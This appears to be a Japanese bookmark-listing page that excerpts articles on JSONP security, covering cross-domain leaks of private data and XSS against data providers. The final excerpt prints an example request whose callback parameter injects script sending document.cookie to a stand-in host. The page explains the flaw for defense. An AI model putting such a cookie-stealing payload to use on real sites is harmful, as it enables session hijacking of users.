［気になる］JSONPの守り方
XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます （編集部） JSONPだって、セキュリティを気にしてほしい 皆さんこんにちは、はせがわようすけです。今回は、JSONPを使用する場合のセキュリティについて解説しましょう。 JSONPとは、JSON with Paddingの名称が示しているとおり、JSON形式のデータにコールバック関数の呼び出しのためのコードを付加することで、クロスドメインでデータの受け渡しを実現するためのデータ形式です。JavaScriptからクロスドメインでのデータが簡単に扱えることなどを理由に、多数のWebアプリケーションでAPIの一部としてJSONP形式でデータの提供が行われています。 具体的な例を見
Twitter でベーシック認証越しになにかやるのは控えた方が良い - nothing but trouble
なんでも JSONP で取れるので、どこかでベーシック認証通していると、認証ダイアログも出ずに DM のぶっこ抜きなんかが出来てしまったりする。 DM を JSONP で取得するデモ(ソース見て貰えればわかるけど、サーバサイドにデータ送ったりしてません) http://kaz.july.7.googlepages.com/twitter_dm_jsonp.html まあ予想通りといえば予想通りだけど DM なんかが JSONP できるのはちょっと問題なんじゃないかなと思う。 最初から一貫して、セキュリティなどに関しては twitter はあてに出来ないのは何も変わっていないので protected や DM なんかで、公開されたら不味い情報のやりとりをしているような人は気をつけた方が良いでしょう。
JPドメインのWhois情報をJSONPで出力
どうも上手くいかないドメインもあるようだ・・・ Contact Information: [公開連絡窓口]などが記載してあるとダメかも
Web 2.0的アプリのセキュリティ：再考「機密情報にJSONPでアクセスするな」｜アークウェブのブログ
SEの進地です。 2007年1月に投稿した「Web 2.0的アプリのセキュリティ：機密情報にJSONPでアクセスするな」は多くの方にお読みいただきました。誤りも指摘され、元エントリーに改修を加えましたが、かなり読みづらい状態になってしまっています。また、JSON、JSONPのセキュリティに関する新たな話題もSea Surfers MLで議論されているのを読み、自分自身の認識や理解も変化しているので、このエントリーでもう一度JSON、JSONP（+JavaScript）に機密情報を含めることの是非と方策を整理、検討したいと思います。 ○JSON、JSONP、JavaScriptによるデータ提供時にセキュリティ対策上留意すべき特徴 JSON、JSONP、JavaScriptによるデータ提供時に留意すべき特徴としてあるのが、「クロスドメインアクセス可能」というものです。JSONPだけでなく、JS
第6回 WebAPI、認証APIのセキュリティ | gihyo.jp
WebAPIの公開 APIとは、何らかの機能を提供するプログラムのことです。WebAPIとは、Webで提供されたAPIということです。たとえば、地図データを提供するAPIや商品の検索結果を提供するAPIが有名です。なるべく多くの人にアクセスしてほしい情報を持っている企業は、WebAPIとして情報を提供することが多くなりました。WebAPIという便利なインターフェースを用意することで多くのユーザにアクセスしてもらい、広告ビジネス等につなげていくのが狙いです。 またWebAPIは、多くの形式に対応していたほうが、多くのユーザに利用してもらうことができるため、なるべく多くの出力形式に対応しようとする傾向があります。以前はSOAPという形式が多く使われていましたが、実装方法が煩雑であったため、現在ではREST、JSON、JSONPのように実装がシンプルな形式のものが多く使われています。 WebAP
第3回 JSONPでのクロスドメインアクセス | gihyo.jp
JSONPの動作原理 前回はAjaxに存在するセキュリティモデルであるSame-Originポリシーを紹介し、そのSame-Originポリシーを迂回する方法とセキュリティについて見てきました。また、回避する方法の1つめとしてリバースProxyを用いた方法を紹介しました。リバースProxyを用いた方法ではセキュリティ的な問題点もありましたが、そもそもProxyサーバを用意しなければならないため、この方法は手軽に使うことはできませんでした。 そこで考え出されたのがJSONP（JavaScript Object Notation with Padding）という方法です。 それではまず簡単にJSONPについて説明します。 Ajaxで使われるXMLHttpRequestオブジェクトには前回説明したとおりSame-Originポリシーがありクロスドメインアクセスはできません。一方、SCRIPTタグ
AOLのOpenAuthがチャレンジング過ぎて - snippets from shinichitomita’s journal
AOLのOpenAuthという認証APIがあります。YahooのBBAuthだったり、Google Account Authentication、日本で言うならはてな認証、livedoor Authなどに代表される、最近流行のサービスプロバイダによる認証APIの一種なんだと思います。ただ、少なくともAOL IDを使うことはほぼないから、アナウンスは聞いてもとりあえずスルーしてたのだけど、たまたま仕様を読んでいたらかなりびっくりした。なんと通信経路にJSONPを使って認証トークンをやり取りできてしまう。JSONPはパブリック情報の配信以外に使うな、ってのが常識になりつつあった人たちから見たら、これはたぶん衝撃。 でも、これがセキュリティ的にヤバいかっていうと、決してそうではなくって、OpenAuthではいわゆる「リファラによるサイト制限」を実装しているところがポイント。つまり、JSONPリク
ITmedia エンタープライズ：実は、Ajaxのウラにこそ勝算がある (1/5)
実は、Ajaxのウラにこそ勝算がある：Web 2.0で変わるWebプログラミングの常識（1/5 ページ） 見た目にインパクトが大きいAjax利用のWebアプリケーション。しかし、その見た目を支える要となるものは、背後にある有益な情報処理と活用方法だ。Ajaxのインパクトに負けないWebアプリはどのように作られるのか？ このオンライン・ムックPlus「Web 2.0で変わるWebプログラミングの常識」では、これまでにAjaxの概要（第1回）から発展系としてどのような取り組みあるのか（第2回）、そして、効率的な組み込み方法の一つとしてJSONと呼ばれるデータ形式のやり取り（第3回）について解説した。 この一連の特集を読むことで、プログラミングノウハウを一から十まですべてを学べるほどのボリュームは詰め込めないが、それでも最低限押さえておくべきポイントが理解できるはずだ。今回の記事でテーマとなるの
日記
このブログを動かしているブログエンジンですが、地味にマイナーバージョンアップしていっています。 今回は、最近大手検索エンジンが軒並み対応を表明しているサイトマップファイルへの対応と、ブログについたコメントをウォッチしたい人向けにコメント一覧の RSS 出力も追加しました。 このブログのサイトマップファイル（sitemap.xml） このブログのコメント一覧 RSS 今までこのブログには、「ブログの全エントリ一覧」というページがあって、そのページ経由で上手く検索エンジンにインデックスされることを期待していて、実際、ほぼすべてのページがきちんとインデックスされているようでした。 しかし、私のブログのエントリ数が1000件を越えたあたりから、Google が全エントリ一覧のページをクロールする際にタイムアウトしているというレポートが Google ウェブマスターツールの方に表示されるよ
機密情報にJSONPでアクセスするな
2007年6月7日 はてなブックマークのコメントをうけて、「常にJSONP、JSON、JavaScriptに機密事項を含めないように」という主張を改め、「クロスドメインアクセスの対策をとっていない状態ではJSONP、JSON、JavaScriptに機密事項を含めないように」という主張に関して記述しました。 こんにちは、SEの進地です。 今回から週単位でWebアプリケーションのセキュリティに関するエントリーを書いていこうと思います。 僕自身、日々勉強して精進というところですので、もし何らかの誤りがあれば是非ご指摘ください。 つっこみ大歓迎です。 今回取り上げるのはWeb 2.0なアプリケーションでセキュリティ面で気をつけるべきことの一つ、機密情報にJSONPでアクセスするなです。 JSON(JavaScript Object Notation)はJavaScript(ECMAScript)の
GMailのコンタクトリスト漏洩とプライベートJSONP - snippets from shinichitomita’s journal
GMailのコンタクトリストが外部から呼び出し可能になってしまってた件について。 Google内プライベートなはずのデータが、関係のない外部のサイトからもスクリプト経由で読み込まれてしまうというもの。 http://ajaxian.com/archives/gmail-csrf-security-flaw でもこれってCSRFっていうのかな？なんか問題がちょっと違ってるような気もするけど。CSRFは情報が抜き取れるかどうかってとこは別に関係ないはずだし。外部サイトにプライベートデータを盗まれるという脅威としてはCSSXSSに近いような。（追記：どうもCSRFの定義ってのはもうちょっと広いみたい） この騒ぎに呼応して、クロスサイトのセキュリティモデルについてまとめてあった。 http://labs.cybozu.co.jp/blog/kazuho/archives/2007/01/cross
「拡張子ではなく、内容によってファイルを開くこと」の拡張子は Content-Type ではないことに注意 - 葉っぱ日記
少し前に JSONP が XSS を引き起こすかもしれないという点に関する興味深い記事を奥さんが書かれていました。 Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて JSONP における Padding 部分(だけでなくJSON部分も。4/5追記)に攻撃者が HTML と解釈可能なスクリプトを注入することにより、JSONP なデータを直接 IE で開いた場合に HTML と解釈され XSS が発生する、という点について書かれています。 ここで、IE が JSONP を HTML と解釈する理由は以下の2点。 IEのよく知られた機能「拡張子ではなく、内容によってファイルを開くこと」により、内容が HTML っぽい場合には、Content-Type: text/javascript が無視され HTML として解釈される。 上述の設定が「無効」に設定
Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて
« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
